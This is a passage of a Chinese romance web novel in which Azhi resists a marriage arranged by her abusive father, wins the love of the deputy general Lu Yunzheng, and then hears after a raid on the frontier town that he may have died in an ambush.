“没有,就是因为不想听家里的,才出来从军的。”王阳乜斜着眼睛观察阿致。
阿致很满意。原来他和自己一样是可怜人,所以他才能理解她的处境吧。
阿致又问:“那他喜欢什么样的女子?”
王阳抿着嘴笑:“这我不知道,不过……”
“不过什么?”
王阳凑到她耳边:“告诉你个秘密,陆副将着人打听过你。”
“真的?”阿致又惊又喜,眼睛很亮。
他也喜欢自己吗?
王阳意味深长地点头:“他是偷偷找人打听的呢,被我发现之后,他还不许我说出去。”
阿致翘起嘴角,眼睛笑眯眯。看来他真喜欢自己。有戏啊。
走之前,王阳还透露了一个消息,陆昀峥出去执行任务了,十天之后才能回来。阿致打算十天之后,开始发起进攻!她对王阳表示感谢:“以后你想吃什么糕点都可以和我说。”
王阳愣在原地,大可不必,真的。
·
就这么过了几天,阿致期盼着陆昀峥回来,好执行她的作战计划。
突然,严吒找到她家,一脸严肃:“你为什么打听陆昀峥?”
严吒刚从沈金那个老头嘴里得知,沈雪致竟然还打听过陆昀峥是否成亲。
阿致正准备去隔壁婶娘那里拿绣活做,她想要绕路出去:“我还有事。”
严吒拦住她,瘦削的脸阴沉沉,就像要杀人一样:“你是不是喜欢陆昀峥?”
阿致没好气地说:“这关你什么事?”
严吒眯缝大的眼睛里,眼光锋利,就像是淬了毒:“你爹早已把你托付给我,我们成亲是早晚的事。”
这才是他的真面目,和以往嘻嘻哈哈的模样完全不同。
阿致不怕他,瞪回去:“我可没答应嫁给你。”
“你爹答应了,半个月之后下聘。”严吒恶狠狠警告,“你最好是守妇德,不要给我闹出些没脸的事来,小心我收拾你。”
阿致这才明白,为何这几天严吒总是来找她爹喝酒,嘴上还金叔长金叔短的,十分亲热,比以往越加殷勤。不知道的,还以为他是沈金的亲儿子呢。
更让阿致伤心的是,她爹竟然背着她,要收人家的聘礼,即使她明确拒绝过好多次!他到底有没有当她是女儿!
阿致放下手里的簸箕,她活动了下脖子和手腕,拿起簸箕里的剪刀:“谁收的聘礼,你就娶谁。还有,你想放狠话,就先娶了我再说。到时候,看是你收拾我,还是我弄死你。”
严吒说:“不要以为自己长得有几分姿色,就妄想有钱有权的男人将你娶回家。你这种女人,不过就是他们一时的玩具而已,和青楼那些妓·女没有区别。”
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阿致因为这事,一直窝着火。
晚上沈金推开门回来,屋里一片漆黑,一点人气也没有。借着月光,他才看到堂屋正中间的桌子边上坐着女儿,脸色灰白,一动不动僵坐着,唯有眼睛亮着,看着像鬼。
沈金倒吸一口凉气,心终于放下来:“吃了没?”
阿致哪有心情吃饭,她问:“你擅自答应把我嫁给严吒了?”
“你总是要嫁的。”沈金自己点了根蜡烛。
“我不想嫁他。”阿致仍旧面无表情,烛火映照出她眼中的熊熊怒气。
“你不想嫁他,你想嫁给谁?”沈金问。
阿致说:“你别扯远了,我再说一次,我不嫁严吒。”
“严吒有什么不好,你说说看。”沈金也生气了,他冷冷看着这个和他完全不同性格的女儿,“严吒他会说话会做事,你跟着他不会饿死。”
“人活着,只要不饿死就够了吗?”阿致死死盯着他。
沈金看着她,似乎看透了她,无奈地道:“你这是眼睛长在头上。就是嫌弃严吒长得不好看,嫌弃他没有钱。人这一辈子能找个差不多的就行了,少年夫妻老来伴,说了你也不懂。”
“我哪里眼睛长在头上了?我只是想要嫁个正常人而已。”阿致忍耐着怒气,看着他倚老卖老。
沈金不再理她:“心比天高,命会比纸还薄的,阿致。”
他一副语重心长的模样。
什么样的父亲不盼着自己女儿好,反而诅咒自己的女儿命比纸薄啊?蠢货!阿致在心里痛骂。
“我找个对我好的男人,考虑他能不能养活我,难道有错吗?”阿致咬着后槽牙,“反正话放在这里了,我不嫁严吒,如果你逼我,我宁愿找个人远嫁。”
沈金一副痛心的模样,他连连摇头:“你要远嫁,有得你吃亏。”
阿致无语到极点:“说得好像我嫁给严吒被打了,你就能帮我撑腰似的。若是我真嫁给严吒,被他打了,你也会帮着他说好话吧。”
说到这里,阿致嗤笑起来:“搞不好,你还会帮着严吒骂我活该被打。”
沈金感觉自己被误解如此之深,他恼羞成怒:“怎么可能?”
“怎么不可能?”阿致笑看着他,“你天天喝醉酒就打我。”
“我什么时候打你了?胡说!”
“你两只眼睛长了是瞎的吗?我的脸时不时就是红肿的,别人都看得到,只有你看不到?还有啊,你的耳朵也是白长的吗?街上狗都知道你打我,风言风语到处都是,只有你每天装聋作哑。”阿致火冒三丈,“你打了我,心中有一丝丝的愧疚吗?没有。因为你觉得我不敢打回去!你也就只敢打我,你敢上街打别人吗?真窝囊!”
阿致这一串连珠炮,每一炮都对准了沈金的心脏,他气得头晕,捂着心口:“你——”
阿致抹一把眼泪,手拍着木桌起身,索性说个尽兴:“还有,我早就想说了。我是你的女儿,不是你的仇人!你过去对不起阿妈,每天想的不是弥补自己的错误,对女儿好一点,反倒汲汲营营想着怎么证明自己没错,逼着我承认天下男人都是你这死样子,逼着我承认人生不会更好,你说这些鬼话的时候良心不会痛吗?你四十了啊,爹爹,你四十了!你能不能醒过来?你的女儿在流泪你看不到吗?”
20. 做不了一点妾
20
阿致说完这一大堆,她爹沈金的脸已经青了,在黑暗中就像死人一样。
沈金一脸心死如灰,慢慢挪去自己房里,不再说任何一个字。
阿致站在黑夜里,低头看着烛火,十分丧气。明明做错事情的人是她爹,最后愧疚的人是她。
这一晚上,阿致没法好好睡觉,侧耳听着隔壁房里的动静。直到听到水杯落在地上的声音,她才放心下来。
第二日早上,阿致走出房门,正好碰到她爹。她爹眼皮子都没有撩一下,只当她是空气。
到了中午,隔壁婶娘过来,她问阿致,是不是昨晚和她爹吵架了。阿致承认了,婶娘便劝她,给她爹低个头,认个错。
这话阿致可不爱听:“那他先给我认错吧。我说了不嫁严吒,他有尊重过我的感受吗?”
如果说昨晚上她对她爹的伤害是烈火烹油,那她爹对她的伤害就是钝刀子割肉,更疼。
·
晚上,阿致遇到王阳,王阳说陆昀峥回来了,要去夜集。
阿致高兴起来,她打算跟踪陆昀峥。作战第一策略:观察。
看他本身是不是个靠谱、洁身自好的人。
陆昀峥和几个同僚一道,去往夜集,先是去酒楼,吃饱喝足,他们几个还要去喝花酒,非要拉着陆昀峥一起。
好在陆昀峥比较坚持,最终一个人出来。遇到一家书店,他钻进去好久才出来,腋下夹着两本书,满面高兴。
阿致仔细观察过后,发现他和王阳说的一样,洁身自好,不会喝花酒,这也是为何他总是被同僚们排挤——几个将军一起出去喝酒,个个点青楼女子作陪,唯独他不愿意参与,格格不入;他很爱看书买书,坐得住,能在书店里站半个时辰看书。
一连好几天,根据从王阳那里打听来的行踪,阿致偷偷跟着陆昀峥。他日常不是在军营训练就是去书店,最多再去茶楼放松地坐一会。哦,每隔几天他还会买点吃的,偷偷放在乞丐栖息的破庙里。此外,她还发现了一件事,陆昀峥真的很喜欢笑,他笑起来很澄净,尤其是眼睛。阿致偷偷跟去茶楼,差点被他发现。
阿致对观察结果很满意,初步来看,他作风优良。阿致开始实施作战第二策略:考验。
她得给他制造些更难的问题,看他如何解决。
阿致提着糕点去找陆昀峥,请他教自己拳脚功夫。
陆昀峥收了她的糕点,答应每天傍晚教她几招。
阿致本来就有功夫底子,陆昀峥一教,她学得飞快。
趁他不注意的时候,阿致问他:“我送的糕点好吃吗?”
“我吃着还行。”
阿致凑到他近前:“那我以后开糕点铺子,天天做给你吃。”
陆昀峥咬着嘴唇,艰难地解释自己的看法:“那你糕点应该不太好卖。”
阿致撅着嘴,坐在一旁的石头凳子上。
陆昀峥坐在她旁边,说:“不过,只要是你做的,我就吃。”
阿致侧脸看着他,嘴角慢慢翘起来。他是个能说实话的男人,嗯,是一个优点。
下一个考验什么呢?男人不能太小气。
阿致眼角瞥到他腰间的一块黄玉,道:“这个真好看。”
陆昀峥当即解下来给她看。
阿致将那黄玉放在掌心里端详。那黄玉是圆形的,刚好掌心大小,一面刻着“陆”字,另一面刻着“日月”两字。阿致将玉还给他,心中疑惑:“这玉应是不便宜吧。”
陆昀峥笑着点头:“这是我家传的,也不算特别贵重。”
家传的玉,阿致开不了口,便让陆昀峥请她吃饭。
她本以为陆昀峥会讨价还价一番,没想到他二话不说带着她去集市,把她想吃的都吃了个遍。
他还记得多买一份给王阳带回去。
阿致再给他加一分。
那么,再下一个要考验什么呢?阿致想起来一件事,隔壁婶娘和别人私下聊天时说过,男人要身体好,晚上活才会好。阿致大概清楚婶娘口中所说的晚上活计指的是什么,只是不明白为何那么重要。说到此事时,那些婶娘们捂着嘴偷笑。
其实在阿致看来,男人身体好不好都在其次,重要的是肯干活,手脚麻利勤快,不能总是躺着抠指甲,活都让妻子干了。
那怎么考验陆昀峥呢?阿致还没有想清楚的时候,发生了一件小事,让她茅塞顿开。
那天早晨,按照她爹沈金的要求,阿致去集市上把采购的几担白菜挑回来——是的,她爹终于愿意跟她说话了,在半个月之后,但也仅限于简单的交流。
阿致肩上挑着担子,担子上挂两个箩筐,一趟趟把白菜往军队里担,来回几里地。老实说,这事她习惯了,并没有觉得难以承受,但来回两趟之后,她肩膀酸痛,甩着胳膊在一旁歇会。
歇完之后,她又继续去挑白菜。实在太累了,箩筐里满满的白菜,有掉地上的,她懒得捡起来。
走了没多久,她肩膀上的担子一轻。
阿致回头,看到了一张大手,给她担子提起来。
陆昀峥将另一只手里的三颗白菜塞给她,又将担子挪到自己肩膀上。原来他跟着她,将落在地上的几颗白菜捡起来了。
他担着白菜在前面走,阿致跟在他身后,看着他的臂膀,和她的细胳膊一比简直壮硕,难怪能那么轻松。
即使那么轻松,他第一次担这么重的白菜,肩膀上还是磨破了皮。
阿致有点不好意思,便坚持给他上药。陆昀峥不答应,阿致已经伸手扯开他的衣领。
看到他白净的皮,阿致突然脸红,这下是真的不好意思了,她把红花油递给他:“还是你自己弄吧。”
两人坐在石头上,背对背,阿致双手撑在身后,假装抬头看夕阳,吹着春日午后的暖风。
这件小事给阿致很大启发,她经常逮着机会,扛着、抱着、拉着各式重物在陆昀峥面前出现。每次陆昀峥都会跑过来,给她解决这些“麻烦”。
因此,陆昀峥相当完美地通过了她的考验。有力气的话,身体应该差不到哪里去,夜里活应该也好。
阿致很满意,打算开始实施作战第三策略,也是最重要的环节:拉扯。
目的是要让陆昀峥喜欢上她。
阿致自小就大大咧咧,没与男子相爱过,自然也不知道怎么吸引男子注意。她能想到的是——傍晚陆昀峥教她功夫的时候,趁着两人近距离,对他眨巴眼睛。
陆昀峥一点不解风情,竟然后
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退两步,侧开脸,一副看不下去的样子:“你眼睛有问题?”
阿致气得不行,但还是诚实地给他第一作战策略又加了一分:他很懂和女子保持距离。
他对她无意,让阿致苦恼了许久。
阿致实在想不到好办法,便去请教王阳。王阳说,你为何不直接和陆副将表明心意呢?女追男隔层纱。
阿致一想,好像也对。
喜欢的东西要努力赚钱去买,喜欢的男人当然要勇敢去追。
但是,阿致有点欠缺勇气——万一被陆昀峥拒绝了怎么办?多丢人啊。
就这么迟疑了几天,阿致拿出决一死战的气魄,去到军营里找陆昀峥。
陆昀峥没有找到,他又出去执行任务了。
所谓一鼓作气再而衰三而竭,阿致已经竭了,垂头丧气站在路边。
王阳正忙着分发信件,正好碰到阿致,安抚她:“陆副将三五天后就回来了,你把这封信拿去他房里。”
阿致接过这封信,信封上能看到是陆昀峥的家书。
只是这信太过豪华了些吧。信封用的是最平整光滑的纸,阿致摸了一会,莫名想起他的那块传家黄玉,似乎也很贵。难不成他出身大富大贵?
如果真是那样,他们便不可能在一起了。阿致有个一起长大的姐妹,这姐妹因为长得格外好看,被有钱的公子哥看上,两人真心相恋几年都没有成婚,只因为家里不答应。那公子哥在家中并没有做主的权力,闹得天翻地覆,最终与那姐妹摊牌说:要么做妾,要么分开。
是以,阿致很清楚,男女之间阶层、财富差异太大,很难善终。尤其是她这暴躁的性子,做不了一点妾。
阿致将信送去陆昀峥的房间,正好看到他床头的黄玉,便伸手将那黄玉揣在兜里带出去。
她将黄玉拿到当铺,问老板能当多少。
老板眉眼一跳,说:“最多三百两。”
阿致抢回来那块黄玉:“那我不当了。”
她很清楚,这玉至少值一千两。阿致的心凉透了,陆昀峥果然出身非凡。
那老板忙招手道:“我出两千,不能再多了。”
“啊?”阿致一脸难以置信,看着手中温润的玉,骤然感觉烫手——这相当于手上捧了个祖宗,千万不能摔。
将黄玉还回去后,阿致回到家里,唉声叹气许久。
晚上躺在床上,她难以入眠,想的都是陆昀峥的笑容。原本以为,她只是把他当成救命的浮木而已,此刻才意识到多么喜欢他。因为喜欢,所以难以割舍。
这是阿致第一次因他流眼泪——白瞎了她那么多时间去跟踪他,都是无用功,还把自己折进去了。
正好这两日,她爹沈金的心情好些了,愿意和她说话:“别整天想些有的没的,踏踏实实过日子。”
阿致的反骨懒得动,第一次没有反驳他。
数着日子过,阿致知道陆昀峥早回来了,但是她没有去找他,甚至有意避开他。有一次,她在街上远远看到了他,他也看到她。他还没招手,她“唰”一下就跑了,跟见鬼似的。
后来,但凡她爹让她去军营送菜,她直接拒绝,每日在家里躺着,精神萎靡。
陆昀峥真是个祸害,阿致心想。
21. 十两黄金而已
21
一连好些天,阿致都没有出门,最大的收获是变白了,走出大门买早饭的那天早上,阳光无比刺眼,她伸手搭在眉眼上,远远看到有个熟悉的人影过来。
是陆昀峥,他手上提着一串肉。
也不知道他过来干什么。阿致关上大门。
陆昀峥看她要关门,立刻跑过去:“阿致。”
阿致关上门,重新缩回自己阴暗的房里,爬上床。她不能和陆昀峥有更多牵连,两个人走得更近,她怕连现在这样的抽身而退也做不到。
陆昀峥敲门:“我知道你在里面。”
阿致咬着嘴唇,缩在被子里:“你走吧。”
许久不说话,她嗓子都是干哑的。
“你生病了?”陆昀峥的声音听着挺焦急,他挪去她房间的窗口,窗户掩得死死的,什么都看不到。
“不是。”阿致裹紧身上的被子,这棉被用了许多年,又湿又重又硬,盖在身上,没什么热气。
陆昀峥问她:“你是不是故意避着我?”
“不是。”阿致昧着良心道。
“你是不是讨厌我?”
阿致犹豫了下,咬牙道:“不是。”
“那你出来见我。”陆昀峥说。
“你走吧。”阿致催他。
果然,陆昀峥走了,阿致竖起耳朵听,渐渐失落的阴影爬上她苍白的脸。喜欢一个人,还要把他往外推,实在是太委屈了。
可是他那样的家世,和她注定是不可能的。放任孽缘发展,还不如一开始就狠心扼杀萌芽。
阿致瘫在床上,就像隔壁婶娘家躺成一滩水的黑猫,毫无挣扎的力气。
过了没多会,陆昀峥又来了:“我买了碗牛肉面,你记得吃。”
阿致没有吭声,但牛肉面的香气已经勾得她引颈偷瞄。等到陆昀峥一走远,她猫出大门,坐在门槛上,端起碗哧溜吃起来。这牛肉面真好吃!
吃完了,阿致一手摸着鼓胀的肚子,一手撑着下巴,晒太阳。
没多会,严吒过来了,手里提着一壶酒。
阿致问他过来做什么,严吒放下酒壶:“听金叔说,你生病了。”
哦,所以你带着酒来探望病人?阿致问:“所以你过来做什么?”
“照顾你啊。”严吒笑,眼缝眯成一条线,露出的眼光闪烁不定。
既然他都说得这么好听了,阿致干脆去父亲沈金的房里,拿出几日的脏衣服,扔给他:“那你帮我把这个洗了。”
严吒眉头一跳,脸色变了:“这……”
“你不是说要照顾我?”阿致平静地看着他,“你帮我把这个做了,就是照顾我。”
严吒只得认了,去后院打水洗衣服。
好不容易快做完了,阿致又去翻找那堆衣裳,找出裤脚上好几个地方的污泥都没洗干净:“你这怎么洗的?大男人一点力气都没有?”
严吒怒气上涨,好不容易才稳住语气,说:“那我再搓搓。”
阿致点头,随手一指后厨:“等会记得把柴火劈了。”
严吒将手中的湿衣裳摔地上:“沈雪致,不要蹬鼻子上脸,你以为你是谁?”
原本是听金叔说,雪致在陆昀峥那里碰壁,心灰意冷至极,于是他过来照顾她安抚她,想要趁机而入,没想到她是油盐不进。
预料之中的事,阿致道:“这么快就没耐心了,那你还非得娶我?”
没有对比就没有伤害,阿致痛心,和严吒相比,陆昀峥更显得是个不该放手的好男人了。
“是,我要娶你,那是因为我喜欢你。但喜欢你也不是让你糟践的。”严吒叉腰大怒。
阿致歪头,看着他:“你这话也只能骗骗我那愿者上钩的糊涂爹。但我可不傻,严吒,我不可能嫁给你,你也大可不必到我这里来找罪受。”
嘴上说的好听,实际上没一件落实的,一旦让他做点什么事就会大呼小叫。
“你这是误会,我骗你做什么呢?”严吒摊手,一副被冤枉的无奈姿态。
阿致说:“你说喜欢我,喜欢我什么呢?喜欢的是我无依无靠吧。不,你最喜欢的是我爹的懦弱和财产。我说的对不对?”
她爹手上攒着的钱财,不少,严吒早就摸得门清。
“不可理喻。”严吒呲着黄牙,踢开地上的水桶,怒气冲冲地离开了。
第二天早上,阿爹已经去了军营,阿致懒得动,便一直躺在床上。
这时候陆昀峥又来敲门。
阿致从头到尾,没有吭一声。
陆昀峥道:“你不开门,我就坐在你家门口,别人看到会说闲话。”
阿致起床,打开大门:“你走吧,我讨厌你,不想见到你。”
“为什么?”陆昀峥捏着大门。
明明几天之前,她对他还那么热情,满眼都是欢喜,怎么突然就变得如此冷淡了?
阿致闭嘴不再说话,回去自己房里躺着,躺在阴影里,裹紧被子。
陆昀峥则坐在她家大厅,坐了一上午,走之前他说:“阿致,我抽空再来看你。”
老实说,阿致并不是很相信。人的耐心都是有限的,就像严吒那样,忍耐到极点就会爆发。阿致觉得陆昀峥不会再来了。
他再也不会来找她了。只是这么一想,阿致眼睛里不自觉流出泪水来。
阿致一直躺到傍晚,浑身无力,她撑着起身,到外面倒水喝。正好她爹从外面回来,一身的腥臊味,看来今天是宰牛的日子。
沈金看着女儿那萧条的模样,便道:“听说陆副将这两日来家里了。”
阿致没有理他,挪步回自己房里。
沈金道:“不是我催你,你还是嫁给严吒,过安生日子吧。”
阿致说:“我谁也不嫁。”
“你不嫁,往后怎么抬起头过日子?”沈金厉声呵斥。
“你抬不起头是你的事,我抬得起头。”阿致站在原地,心中怒火窜得老高,“你不关心自己女儿会嫁给什么人,也不关心往后会出现什么问题,你唯一关心的是,你的女儿嫁不出的话,你的脸没处搁?”
真是讽刺啊,这竟然是亲爹。
沈金丝语重心长地说:“你别怪爹说话难听,你是长得有几分好看,但你年纪大了,这是很大的劣势。你如何与比你小的姑娘去比?你已经不是十五岁了,踏实平凡才是真。你不要再觊觎陆昀峥那样的人,一看他就该知道他身份不同寻常,你们再有感情也成不了。”
阿致浑身的反骨都膨胀起来:“是,陆昀峥家世不凡,就算嫁给他没有好结果,我也不会嫁给严吒。”
沈金一脸无奈,连连摇头,坐下去,沉默,看着她的眼神非常失落,仿佛在暗示她这一辈子也就这样了。
看他这一副自认慈父的模样,阿致直翻白眼,她索性走出门去。
出门便遇到了陆昀峥,他站在门外,不知道听了多久。
这是
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他第三次来找她了,是有些诚意的。阿致心中不免有些雀跃,抬头瞟他一眼。
只是可惜他们之间的家世差别太大,可惜她只是个伙夫之女……阿致眼里的光渐渐沉重起来。
陆昀峥说:“我带你去吃好吃的。”
阿致没有再拒绝,跟在他身后,去到夜集上,他给她买的都是她喜欢的。原来他都还记得她喜欢什么。
阿致嘴里嘬着一根嫦娥奔月的糖人,一边偷偷看他。虽然不能在一起,但是偷偷看人又不违法。
吃得差不多了,两人坐在湖畔的凉亭里发呆,看着夜色中的星星点点。
陆昀峥问她:“你突然避着我,是因为觉得我家世太好?”
“难道不是?”阿致心说,你都听到了,她把那块黄玉的事告知他,“你家传的宝玉如此贵重……”
“那当铺老板看走眼了,胡诌的。”陆昀峥笑着说,“你应当用两千两当掉的,那是块劣等的玉石,我父母花了不到十两买到的。”
十两黄金而已。
阿致很难相信他的说辞,那当铺老板是出了名的精明,不可能看走眼做赔本买卖:“真的只要十两银子买到的?”
“当然,我从小都是糙养的。”陆昀峥扒开自己的袖子,“你看,这里好大一块疤痕。”
阿致一看,他小臂上确实有一指长的疤痕。
陆昀峥开始大吐苦水。也是他说了,阿致才知道原来他父母为了挣钱,将他一个人放在乡下老家,直到十五岁。小小年纪记事起,他每日都是在田里劳作,早晚跟着小伙伴一起爬树钓鱼摘果子。后来被父母接去身边住了半个月不到,他被人在胳膊上划了这好大一个口子,鲜血直流,可他父亲都不想靠近他,也不给找大夫,只让他自生自灭。陆昀峥那时候很难过,便盯着伤口涌出来的暗红色血液发呆,直到血液结痂。
他笑着说:“也是第一次发现,原来‘皮开肉绽’四个字是这样的情景。老祖宗真是有智慧。”
阿致想到,十五岁的少年心灰意冷坐在冷清的家中,无人在意,只能等伤口愈合,是多么可怜啊。她不自觉伸手,轻轻按住他的伤口,问他:“现在还会疼吗?”
他撇开头,收好了自己的伤口,轻轻摇头,似乎想起来小时候的遭遇,样子十分可怜。
阿致说:“那我误会你了。”
如果他真是有钱人家的公子,怎么会做农活,还受伤了不请大夫呢?
现在想一想,他的生活确实很糙,在军营里的生活很苦,他的许多习惯也不像那些精细喂养出来的公子哥。阿致决定相信他的话。
陆昀峥问:“你为什么觉得我家世好,便不能嫁我?”
“啊?”阿致脸红了。
陆昀峥低头看着她,耐心等她。
阿致解释道:“若是你家世好,那你的婚事必然由不得你做主。”
“你都考虑到婚事了,是不是喜欢我?”陆昀峥翘嘴笑着看她。
阿致侧头,不看他:“你胡说什么,方才就是和我父亲斗气瞎说的。”
夜风将她脸上的热燥带走了些,但还不够。
“可是我喜欢你。”陆昀峥鼓起勇气说。
阿致回头,睁大眼睛看着他。
陆昀峥胸脯起伏,又说:“阿致,我喜欢你,想要和你一辈子都在一起。你喜欢我吗?”
“阿致,我保证,我的婚事能自己做主。”陆昀峥凑近来,他的眼睛里盛满了闪亮的星光。
22. 我们成亲吧(回忆结束)
22
被陆昀峥主动表白心意,阿致呆住,半晌说不出话来。她喜欢的人也喜欢她,春夜的风骚动着她额前碎发。
还有,他的眼睛真的好亮好亮。
阿致看着他的眼睛,有个念头陡然击中了她的心——她好喜欢他,不管以后会如何。即使和陆昀峥是黄粱一梦,她也愿意在此刻伸手捧着他的脸,和他靠在一起。
是,在她十八岁的人生里,陆昀峥是第一个对她这么好的人,错过这一个,她没有自信再遇到他这样的男人。但更重要的是,她喜欢他,是一种冲动,从第一次见面就想要和他唇齿相贴的亲密冲动。
阿致伸出手来,轻轻贴着陆昀峥的脸颊颌线,突然下定决心——她接受未来的任何一种可能,即使可能会被抛弃。她只想要按照自己的喜好和意愿,选择爱谁、和谁一起生活,坚定地往前走,不要回头。
阿致慢慢起身,她的手掌微微离开他的脸。
她是要拒绝?陆昀峥伸手,按住她瘦弱的掌背。他坐着,她站着,他仰头看着阿致。
阿致弯腰,闭眼轻吻他的脸。
他的问题是——你喜欢我吗?
她的回答够明确了吧。
阿致睁开眼睛,脸红地退后一步。
陆昀峥伸出另一只大掌,摁住她的后腰,迅速起身,将她抱在了怀里,紧紧的。
阿致也抱着他宽大的腰身,脸颊贴在他胸前,听他心跳如擂鼓。
好一会,阿致翘起红唇,踮脚仰头亲他的下巴:“喜欢吗?”
她的唇温热,陆昀峥低头亲她的额头:“喜欢。”
阿致淘气地说:“这么容易被女色所骗,不及格!”
“喜欢不对吗?”
“你应该说不喜欢。”
“但我就是喜欢啊,你要我说谎?”陆昀峥不觉失笑,亲她的额头。
阿致翘起嘴角:“那确实不能说谎。这次暂时不给你扣分咯。”
·
两人确定心意后,恨不得日日黏在一起,手牵着手,一刻也不要分离才好。可惜,义渠那边主动惹出事端,去到附近的城池烧杀抢掠,导致边关损失惨重。宜阳城中,军营的训练加重,随时准备应战。
陆昀峥作为副将,忙得不可开交。两人能聚在一起的时间不多,便总是找时间偷偷摸摸见面,逛夜集时一起吃晚饭。
他俩口味都差不多,喜欢吃东街的牛肉面。每天最幸福的就是,在思念对方一整天后,终于能见到他的脸,肩并肩去吃牛肉面,一路上念叨今日的所见所闻。
都是小事,但就是想要什么都说给你听;都是小事,但发生在你身上的,我都想要知道。
——这大抵是恋人的常态吧。
若是陆昀峥白日得空,两人便会买些食物,送给破庙里的乞丐。阿致还跟着陆昀峥去学塾,看他教小孩子读书。她精心挑选的男人,越看越满意。
由于局势紧张,两人能见面的机会越来越少。有时候,一连三天没见面,趁着陆昀峥晚上值守,阿致干脆去城楼上陪他。城楼上风大,陆昀峥便将她藏在容身的角落里,找来厚被子将她裹好。
城楼的夜风很大,但两人笑着谈天说地,多久都不厌。从他口中,阿致能感觉到他对边关老百姓的怜悯、对胡虏骚扰的痛恨、对那些失去的城池的憾恨。
深夜,阿致缩在厚被子里时,她睁开眼睛,看到的是陆昀峥冷峻的脸,他望着茫茫大漠和失去城池的剪影,一旁的地上搁着一张地形图和一本快被翻烂的兵书。阿致想起他平日那么用心地学习兵法,每日晨起操演,一日不落。他的坚持,是因为有梦想吧。他的梦想不是建功立业,而是收复城池,让边关的百姓能安居乐业。
早上,陆昀峥将阿致送回家时,两人依依不舍。陆昀峥要离开宜阳城,外出执行任务。
陆昀峥将她抱在怀里,久久不愿意放开,叮嘱她在家中多准备些干粮和水。阿致同样不舍,也只能放手,目送他离开,希望他能平安归来。
听王阳说,此行非常凶险。陆昀峥不赞成兵行险招,他认为实力不够强大的情况下应该养精蓄锐,死守城中不出战。可惜他只是个副将,他的意见没被重视,决定权也并不在他。
陆昀峥离开后,阿致日日挂念他。人生第一次,她深刻明白,原来“牵肠挂肚”这四个字真是形象。怕他发生什么事,吃不下睡不着。日日都盼着他平安回来。
几天过去,阿致浑浑噩噩的。这样下去不好,她便自己寻些事做。她找面馆的老板娘谈好了,她打工一年不要银钱,请老板娘教她怎么做牛肉面。禁不住她的软磨硬泡,老板娘便答应了,只一条——不可在这铺子十里地范围内打擂台。
忙起来,便不会胡思乱想了。可是休息的空隙,阿致一想起陆昀峥,还是面上带笑。
她以为日子会一直这样,幸福中带着烦恼、期盼。
忽然一日,大荔来的胡虏趁机攻入宜阳城中。
街道上被胡虏洗劫一空,好在阿致当时正在面馆里,老板娘年纪大,见多识广,早有准备,和阿致躲在地道中,躲过一劫,只损失了些粮食和银钱。后来城里的将士,好不容易将他们逼退出去,城中才重获宁静。
阿致第一时间去军营里找她爹沈金。
她爹沈金没有大碍,就是逃跑过程中脚崴了。
问了下,军医马上就来,只是须得等待。
阿致终于放下心来:“我还有事,先走了。”
如果胡虏能攻进城来,是不是说明陆昀峥的行动失败了?她心里七上八下的,得找人问问陆昀峥的消息。
“你不紧张你亲爹,反而要去问陆昀峥的消息,是不是?”沈金的脸色特别难看。
“你这不是没事吗?”阿致其实很清楚,她爹希望女儿能捧着他大哭一场,最好是哭诉自己不能失去父亲。但是阿致并不想满足父亲这样的想法。对于阿致来说,这样做无异于吞了一个苍蝇。
沈金的脸拉下来,写满了“寒心”二字。他不会大吵大闹的,他就是彻底的寒心,这女儿就像是白眼狼。
王阳正在统计伤员情况,阿致拉着他问陆昀峥的消息。王阳支支吾吾一会,还是诚实告诉她,陆昀峥所在的分队遭到了埋伏,可能凶多吉少。
果然……阿致腿脚无力,差点晕倒在地。她手指狠狠掐着掌心,她不能接受陆昀峥就这么死了。
一旁的沈金的脸色倒是轻松了不少:“带兵打仗的,死伤不是常事么?”
一想到女儿忤逆自己,非要和陆昀峥在一起,沈金就心中不舒服。这下好了,她必须得低头听从安排。
阿致实在悲痛,喉咙灼痛,就像被卡住一样,一个字也说不出来。她心口钝痛,却怎么也哭不出来。好好一个人,他还那么年轻,就这么没了?
想起来离别时,他将她抱着时,他的怀抱……是暖的。却再也见不到这个人了么?余生都找不到这个拥抱了么?
这时候严吒跑过来,抱着沈金一串“金叔金叔”地叫,撕心裂肺。不知道的还以为他爹妈死绝了呢。
沈金很吃这一套,和严吒抱头痛哭。这没血缘的儿子,比亲生女儿还贴心!他上辈子上是造了什么孽啊。
阿致两眼空空地看着这两人,失魂落魄的,甚至不记得那天怎么到了家。回到家坐在昏暗的房间里,她看到房门背后准备的大袋干粮,用胳膊掩着脸痛哭起来,眼泪把袖子都哭湿了。
接下来几天,阿致格外沉默寡言。这是她第一次意识到,原来人与人的缘分如此脆弱,永远不知道明天会发生什么,以及……你会失去什么至爱。
也是第一次,她理解了父亲的好骗。父亲大概是很需要有人在乎他……至少要表现得很在乎他的死活。
可惜,阿致还是做不到。
她和父亲之间有无法调和的矛盾,原因有三个。第一个是因为父亲总是醉酒打她,第二个是因为父亲根本不尊重她的婚嫁意愿。这两个原因都还可以忍受,因为她可以努力去改变、去反抗。唯独第三个原因——他曾对阿妈所做的事,是她一辈子也无法原谅的。
这一日,阿致去军营里打听陆昀峥的消息,还是无果,她回到家中。
父亲沈金的腿伤已经好得差不多,但还躺在床上修养。
阿致给他把药煎好,送过去时,她爹告诉她:“已经和阿吒说好了,你们下个月初一的婚期。”
离下个月初一,不到半个月了。
阿致将药放在一旁:“我不同意。”
“你还惦记着陆昀峥?他到现在没回来,那就是死了!”沈金十分激动。
阿致转身出门:“死了就死了,他死了我就不打算再嫁人。”
这几日,她将眼睛都哭肿成桃子,终于慢慢接受,陆昀峥不再会回来的事实。
但她也很清楚,不会再有人像陆昀峥对她那样细心和温柔。她爹都做不到的事,陆昀峥做到了。
“不嫁人?你难道没听说城南头的姑娘被玷·污了,婚事被退,最终只能上吊自杀的?”沈金恨恨道,“我这是为你考虑长远!你一介女子就是需要有男人保护。”
那自杀女子的事闹得满城风雨,即使在此之前已经人心惶惶。
阿致抿着嘴唇,坚定地道:“我不需要别人保护。”
“你现在是不需要人保护,你想过没有,那你老了怎么过?谁来照顾
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你?”
“我知道独身的女子无法在这宜阳城里生活,因为这里一个未婚老女人都没有,但是长安城里有。我会去长安城里过日子。还有,阿爹,严吒现在都懒得照顾我,你怎么能笃定,在我老了的时候他会愿意照顾我?”
“你为何总觉得你亲爹会害你?严吒怎么说也是踏踏实实过日子的人,你也不要自视甚高,觉得自己多厉害,能配多好的人。你若是不嫁人,等你老了,知道我说的对不对,那时候你连后悔药都没得吃。你听我的,下个月初一就嫁过去,婚事简单办办就行了,不要给阿吒添负担。”
